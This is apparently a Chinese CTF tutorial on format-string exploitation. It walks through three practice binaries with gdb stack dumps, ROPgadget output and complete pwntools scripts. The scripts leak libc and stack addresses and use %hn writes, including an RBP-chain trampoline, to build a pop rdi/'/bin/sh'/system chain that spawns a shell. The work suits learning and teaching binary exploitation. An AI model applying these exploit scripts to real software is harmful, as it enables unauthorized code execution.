从五个例子来理解格式化字符串漏洞(二)
fsb_relro
checksec 看一下开了的保护
root@kali:~/Desktop/release# checksec fsb_relro
[*] '/root/Desktop/release/fsb_relro'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
然后IDA载入看一下:
发现有for循环执行echo函数,但是从这道题开的保护来看,我们可以知道这道题与上一道题的不同点在于开了RELRO保护,意味着我们不能通过改写got表来进行跳转到system函数执行了,同时这道题也是没有getshell函数,也是有一个明显的格式化字符串漏洞可以利用。
这道题思想不难,主要是找偏移,逐个点逐个点地去找。
这个是泄露出栈的地址(0x7ffc63887030
)的时候,查看栈的情况:
怎样泄漏的呢?就是在泄露__libc_start_main
的时候,在他的前面找了一个echo函数的ebp,因为这个地址肯定在栈上,后面就直接用该值和其他栈上的偏移量来表示其他栈上的地址就ok了。下面ret要改写的地址就是用这个方法来得到的。
gdb-peda$ x /30xg 0x7ffc63887030
0x7ffc63887030: 0x00000000004009a0 0x00007feffb4202e1
0x7ffc63887040: 0x0000000000040000 0x00007ffc63887118
0x7ffc63887050: 0x00000001fb5612a8 0x000000000040094f
0x7ffc63887060: 0x0000000000000000 0xe7ba5c95187a5db9
0x7ffc63887070: 0x00000000004006f0 0x00007ffc63887110
0x7ffc63887080: 0x0000000000000000 0x0000000000000000
0x7ffc63887090: 0x18429b05ebba5db9 0x1865aa910e085db9
0x7ffc638870a0: 0x0000000000000000 0x0000000000000000
0x7ffc638870b0: 0x0000000000000000 0x00007ffc63887128
0x7ffc638870c0: 0x00007feffb9c2170 0x00007feffb7ac9ab
0x7ffc638870d0: 0x0000000000000000 0x0000000000000000
0x7ffc638870e0: 0x00000000004006f0 0x00007ffc63887110
0x7ffc638870f0: 0x0000000000000000 0x0000000000400719
0x7ffc63887100: 0x00007ffc63887108 0x000000000000001c
0x7ffc63887110: 0x0000000000000001 0x00007ffc63887411
在echo的返回地址那里下一个断点,因为要修改返回地址。从返回地址开始修改,依次修改为pop rdi;ret
的地址、/bin/sh\x00
的地址和system的地址就可以getshell了。
下好断点之后,就c继续执行停到相应位置
[-------------------------------------code-------------------------------------]
0x400860 <echo+122>: je 0x400867 <echo+129>
0x400862 <echo+124>: call 0x400698
0x400867 <echo+129>: leave
=> 0x400868 <echo+130>: ret
0x400869 <timeout>: push rbp
0x40086a <timeout+1>: mov rbp,rsp
0x40086d <timeout+4>: mov edi,0x400a40
0x400872 <timeout+9>: call 0x400690
[------------------------------------stack-------------------------------------]
0000| 0x7ffd79d4fba8 --> 0x400982 (<main+51>: add DWORD PTR [rbp-0x4],0x1)
0008| 0x7ffd79d4fbb0 --> 0x7ffd79d4fcb8 --> 0x7ffd79d50411 ("fsb_relro")
0016| 0x7ffd79d4fbb8 --> 0x1004006f0
0024| 0x7ffd79d4fbc0 --> 0x7ffd79d4fcb0 --> 0x1
0032| 0x7ffd79d4fbc8 --> 0x0
0040| 0x7ffd79d4fbd0 --> 0x4009a0 (<__libc_csu_init>: push r15)
0048| 0x7ffd79d4fbd8 --> 0x7fbeaa69e2e1 (<__libc_start_main+241>: mov edi,eax)
0056| 0x7ffd79d4fbe0 --> 0x40000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400868 in echo ()
当前rsp的情况:
相应的情况如上,所以我们明确地看到程序已经运行到echo的返回地址上了,可以看到原来栈上的栈顶指针是指向0x400982
(echo的返回地址,在main函数的地址),因此我们需要把栈上的栈顶指针改为指向一个pop rdi;ret
这个gadget上,然后再给rdi赋值为/bin/sh\x00
(栈顶指针+8),最后把system放到这个gadget的ret(栈顶指针+16)上就可以了。
并且两个值计算可以得到相差0x28
>>> hex(0x7ffd79d4fba8-0x7ffd79d4fbd0)
'-0x28'
查找gadget :ROPgadget --binary fsb_relro --only "pop|ret"
root@kali:~/Desktop/release# ROPgadget --binary fsb_relro --only "pop|ret"
Gadgets information
============================================================
0x00000000004009fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a00 : pop r14 ; pop r15 ; ret
0x0000000000400a02 : pop r15 ; ret
0x00000000004009fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400750 : pop rbp ; ret
0x0000000000400a03 : pop rdi ; ret
0x0000000000400a01 : pop rsi ; pop r15 ; ret
0x00000000004009fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400679 : ret
Unique gadgets found: 11
查找/bin/sh(因为用的是本地库,所以我就直接把本地库cp出来直接找了,但是如果是远程库,那就另当别论了)
root@kali:~/libc-database# ROPgadget --binary libc-2.24.so --string "/bin/sh"
Strings information
============================================================
0x00000000001619b9 : /bin/sh
然后后面依次改地址的方法跟前面几个题目都是一样的,就不多说了。
上脚本:
from pwn import *
p = process('fsb_relro') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
#elf = ELF('fsb_inf')
def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b
payload = ""
payload += "%78$p.%79$p.%72$p."
pause()
p.recv()
p.sendline(payload)
p.recvuntil(".")
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
#print hex(libc_start_main_ret)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr addr: " + hex(stack_addr))
pause()
libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
printf_addr = libc_base + 0x4f190
sh_addr = libc_base + 0x1619b9
log.info("system_addr addr: " + hex(system_addr))
log.info("printf_addr addr: " + hex(printf_addr))
log.info("sh_addr addr: " + hex(sh_addr))
pr_addr = 0x400a03
n = 6 + 14
pattern = "%{}c%{}$hn"
payload = ""
### pop rdi; ret
payload += pattern.format(0x0a03,n)
### "/bin/sh\x00"
sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
payload += pattern.format(s_sub(sh_low,0x0a03),n+1)
payload += pattern.format(s_sub(sh_mid,sh_low),n+2)
payload += pattern.format(s_sub(sh_high,sh_mid),n+3)
### system
system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff
payload += pattern.format(s_sub(system_low,sh_high),n+4)
payload += pattern.format(s_sub(system_mid,system_low),n+5)
payload += pattern.format(s_sub(system_high,system_mid),n+6)
###padding
payload = payload.ljust(112,"A") #7*16=112
# ret --> pop rid; ret
payload += p64(stack_addr-0x28)
# rdi --> "/bin/sh\x00"
payload += p64(stack_addr-0x28+8)
payload += p64(stack_addr-0x28+10)
payload += p64(stack_addr-0x28+12)
# system
payload +=p64(stack_addr-0x28+16)
payload +=p64(stack_addr-0x28+18)
payload +=p64(stack_addr-0x28+20)
pause()
p.sendline(payload)
p.interactive()
fsb_heap
源码放上来:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
void echo() {
int size = 0x200;
char *buf = malloc(size);
memset(buf, 0, size);
fgets(buf, size, stdin);
printf(buf);
puts("\nain't it cool, bye now");
}
void timeout() {
puts("Time is up");
exit(1);
}
void welcome() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
char welcome[] =
"================================================\n"
"Welcome to the super echo-mon-better system, it \n"
"will echo anything you said, like:\n\n"
"Melody: I wanna a flag, mom\n"
"Mom: I wanna a flag, mom\n"
"================================================\n";
puts(welcome);
signal(SIGALRM, timeout);
alarm(5);
}
void echo_mon_better() {
int i = 0;
for (i = 0; i < 100; ++i) {
echo();
}
return 0;
}
int main(int argc, char const *argv[]) {
welcome();
echo_mon_better();
return 0;
}
这道题的主要思路是利用RBP链来作为跳板修改echo_mon_better
的返回地址为pop rdi;ret
的地址,然后依次往后布置为/bin/sh
的地址和system的地址,最后循环够一百次退出echo_mon_better
函数的时候就可以getshell了。
挖坑填坑历程(纯粹记录,没兴趣完全可以跳过):
(找到这个思路的过程可谓艰辛,先是误以为在直接在栈上放一段POR,但是发现栈上根本无法执行(NX保护),然后就想改got表,但发现要改的地址不在栈上,利用RBP链跳板是做不到的,所以还有可以控PC的就剩下改返回地址了,那问题来了,是改echo的返回地址呢还是改他的上层函数echo_mon_better
的返回地址呢?我先是试了后者,但是发现这个与泄露出来的栈上的地址的偏移量非常大,随后验证了一下这个偏移量发现是不正确的,所以就放弃了,然后就去修改echo的返回地址,然后发现一改返回地址,就会跳到那个地址去执行了都还没等我布置好后面两个参数,后来想了个办法,就是先布置好后面两个参数(/bin/sh和system地址)再改ret为pop rdi;ret的地址,最后怎样试都不行,最后发现我这样一改,把上层函数的Canary给改掉了,立刻报错没让我改ret了;最后再去验证一次echo_mon_better
的返回地址的时候发现偏移也就只有8,之前算错了,要改的东西就在隔壁啊。。以后一定有思路一定要算多几次才行!!!)
下面开始进入正题:
这道题最大的不同就是我们输入的参数是放在堆上的,那么我们的栈就变得不可控了,我们输入的参数是放在栈上的一个地址里面的,如下面例子
gdb-peda$ x /30xg $rsp
0x7fffffffdfa0: 0x000002003d3d3d3d 0x0000000000602010
0x7fffffffdfb0: 0x00007fffffffdfd0 0x00000000004009bb
0x7fffffffdfc0: 0x0000000000000000 0x00000000939ab900
0x7fffffffdfd0: 0x00007fffffffdff0 0x00000000004009eb
0x7fffffffdfe0: 0x00007fffffffe0d8 0x0000000100000000
0x7fffffffdff0: 0x0000000000400a00 0x00007ffff7a5c2e1
0x7fffffffe000: 0x0000000000000000 0x00007fffffffe0d8
0x7fffffffe010: 0x0000000100000000 0x00000000004009c8
0x7fffffffe020: 0x0000000000000000 0x1017cfbb8f0a6e51
0x7fffffffe030: 0x0000000000400750 0x00007fffffffe0d0
0x7fffffffe040: 0x0000000000000000 0x0000000000000000
0x7fffffffe050: 0xefe830c45b0a6e51 0xefe820701e386e51
0x7fffffffe060: 0x0000000000000000 0x0000000000000000
0x7fffffffe070: 0x0000000000000000 0x0000000000000001
0x7fffffffe080: 0x00000000004009c8 0x0000000000400a70
gdb-peda$ x 0x0000000000602010
0x602010: 0x4141414141414141
gdb-peda$
上面可以看到我们的栈的情况变得跟以前不一样了,那我们要怎样利用格式化字符串来构成一个任意地址写的功能呢?这里我们需要知道一个知识点—RBP链(其实就是一个三连跳):
怎样利用这个RBP链来构成一个跳板来执行栈上任意地址写呢?首先我们知道格式化字符串的%n是把一个值写到一个指针所指向的地址上去。正是如此我们才不能直接往栈上写,因为我们不能确保第几个参数上的那个指针是否是一个有效指针。所以我们需要用到跳板。这个RBP链的跳板主要是通过修改0x00007fffffffdfd0
这个指针所指向的0x00007fffffffdff0
这个值的后四位,让其仍然是一个栈上的地址;然后再修改0x00007fffffffdff0(这个表示上一步修改后的值)
所指向的地址,就可以实现修改栈上任意地址的值了。
这里提醒一点就是泄露地址:用前面的方法泄露,易得0x00007fffffffdfd0
是第八个参数__libc_start_main
是第十七个参数等。
首先跟前面的题目一样,泄露出libc的基地址和system地址、/bin/sh
的地址;最后再找到一个pop rdi;ret
的gadget,准备工作就做完了。
root@kali:~/Desktop/release# ROPgadget --binary fsb_heap --only "pop|ret"
Gadgets information
============================================================
0x0000000000400a5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a60 : pop r14 ; pop r15 ; ret
0x0000000000400a62 : pop r15 ; ret
0x0000000000400a5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a5f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007b0 : pop rbp ; ret
0x0000000000400a63 : pop rdi ; ret
0x0000000000400a61 : pop rsi ; pop r15 ; ret
0x0000000000400a5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400679 : ret
Unique gadgets found: 11
找system地址跟上面的题目方法一样,直接p system 然后xinfo看一下偏移量。
找/bin/sh\x00
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7fcaf43ce9b9 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ xinfo 0x7fcaf43ce9b9
0x7fcaf43ce9b9 --> 0x68732f6e69622f ('/bin/sh')
Virtual memory mapping:
Start : 0x00007fcaf426d000
End : 0x00007fcaf4400000
Offset: 0x1619b9
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so
gdb-peda$
详细脚本如下: 上脚本:
from pwn import *
p = process('fsb_heap') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('fsb_heap')
def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b
##########step1##########
payload = ""
payload += "%7$p.%8$p.%17$p.%12$p."
#pause()
p.recv()
p.sendline(payload)
p.recvuntil(".")
stack_addr1 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr1 addr: " + hex(stack_addr1))
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr2 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr2 addr: " + hex(stack_addr2))
libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
sh_addr = libc_base + 0x1619b9
log.info("libc_base addr: " + hex(libc_base))
log.info("system_addr addr: " + hex(system_addr))
log.info("sh_addr addr: " + hex(sh_addr))
##########step2##########
#########ret addr#######
#echo_better_ret = 0x7ffcb0f30b18
echo_better_ret = stack_addr1 + 0x34f0cd4b8
#echo_ret = 0x7fffffffdfb8
echo_ret = stack_addr1 + 0x18
'''
##############test############
for i in range(0,98) :
p.sendline('wait')
pause()
p.sendline('wait')
p.interactive()
#############test##############
'''
pr_addr = 0x400a63
def edit1(low):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(low,8)
payload = payload.ljust(16,"A")
#pause()
p.sendline(payload)
def edit2(data):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(data,12)
payload = payload.ljust(16,"B")
#pause()
p.sendline(payload)
n = 16 + 14
pattern = "%{}c%{}$hn"
stack_addr2_low = stack_addr2 & 0xffff
a = stack_addr2_low -0x38
print hex(stack_addr2_low)
######## pop rdi;ret
edit1(stack_addr2_low - 24)
edit2(0x0a63)
### "/bin/sh\x00"
sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
print hex(sh_low)
print hex(stack_addr2_low -16)
edit1(stack_addr2_low - 16)
edit2(sh_low)
edit1(stack_addr2_low - 14)
edit2(sh_mid)
edit1(stack_addr2_low - 12)
edit2(sh_high)
### system
system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff
edit1(stack_addr2_low -8)
edit2(system_low)
edit1(stack_addr2_low -6)
edit2(system_mid)
edit1(stack_addr2_low -4)
edit2(system_high)
###send to 100 ,let it out of echo_better
for i in range(0,84) :
p.sendline('wait')
###### wrong #
'''
pattern = "%{}c%{}$hn"
payload1 = ""
payload1 += pattern.format(a,8)
payload1 = payload1.ljust(16,"A")
pause()
p.sendline(payload1)
pattern = "%{}c%{}$hn"
payload2 = ""
payload2 += pattern.format(0x0a63,12)
payload2 = payload2.ljust(16,"B")
pause()
p.sendline(payload2)
'''
#edit1(stack_addr2_low -56)
#edit2(0x0a63)
###### wrong #
pause()
p.interactive()
pie_heap
加了pie之后其实也没有什么区别,就是要多泄露一个PIE地址来找偏移,再把动态加载之后的真正的gadget地址找出来就行了,相对于没PIE其实有格式化字符串就是多了一步泄露pie地址然后计算偏移量计算就ok。
提醒:这个还有个如何把一串0x0000写入内存,因为%0c是有一个字符的,所以这样写是不正确的,我们可以这样:”%{}ca%{}$hn”,再往里写0xffff个字符然后他就会写入0x10000,高位去除就剩下0x0000了
上脚本
from pwn import *
p = process('pie_heap') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('pie_heap')
def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b
##########step1##########
payload = ""
payload += "%7$p.%8$p.%17$p.%12$p.%13$p."
p.recv()
p.sendline(payload)
p.recvuntil(".")
stack_addr1 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr1 addr: " + hex(stack_addr1))
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr2 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr2 addr: " + hex(stack_addr2))
pie_addr = int(p.recvuntil(".",drop = True),16)
log.info("pie_addr addr: " + hex(pie_addr))
libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
sh_addr = libc_base + 0x1619b9
log.info("libc_base addr: " + hex(libc_base))
log.info("system_addr addr: " + hex(system_addr))
log.info("sh_addr addr: " + hex(sh_addr))
log.info("ret_addr addr: " + hex(stack_addr2 + 8))
##########step2##########
#########ret addr#######
#echo_better_ret = 0x7ffcb0f30b18
echo_better_ret = pie_addr - 36
printf_addr = pie_addr - 338
log.info("printf_addr addr: " + hex(printf_addr))
log.info("echo_better_ret addr: " + hex(echo_better_ret))
#echo_ret = 0x7fffffffdfb8
echo_ret = stack_addr1 + 0x18
pr_addr = pie_addr + 0x6c
log.info("pr_addr addr: " + hex(pr_addr + 8))
pause()
'''
##############test############
for i in range(0,99) :
p.sendline('wait')
pause()
p.sendline('wait')
p.interactive()
#############test##############
'''
def edit1(low):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(low,8)
payload = payload.ljust(16,"A")
#pause()
p.sendline(payload)
def edit2(data):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(data,12)
payload = payload.ljust(16,"B")
#pause()
p.sendline(payload)
n = 16 + 14
pattern = "%{}c%{}$hn"
stack_addr2_low = stack_addr2 & 0xffff
a = stack_addr2_low -0x38
print hex(stack_addr2_low)
######## pop rdi;ret
pr_low = pr_addr & 0xffff
pr_mid = (pr_addr >> 16) & 0xffff
pr_high = (pr_addr >> 32) & 0xffff
edit1(stack_addr2_low - 24)
edit2(pr_low)
edit1(stack_addr2_low - 22)
edit2(pr_mid)
edit1(stack_addr2_low - 20)
edit2(pr_high)
### "/bin/sh\x00"
sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
print hex(sh_low)
print hex(stack_addr2_low -16)
edit1(stack_addr2_low - 16)
edit2(sh_low)
edit1(stack_addr2_low - 14)
edit2(sh_mid)
edit1(stack_addr2_low - 12)
edit2(sh_high)
### system
system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff
edit1(stack_addr2_low -8)
edit2(system_low)
edit1(stack_addr2_low -6)
edit2(system_mid)
edit1(stack_addr2_low -4)
edit2(system_high)
###send to 100 ,let it out of echo_better
for i in range(0,80) :
p.sendline('wait')
pause()
p.interactive()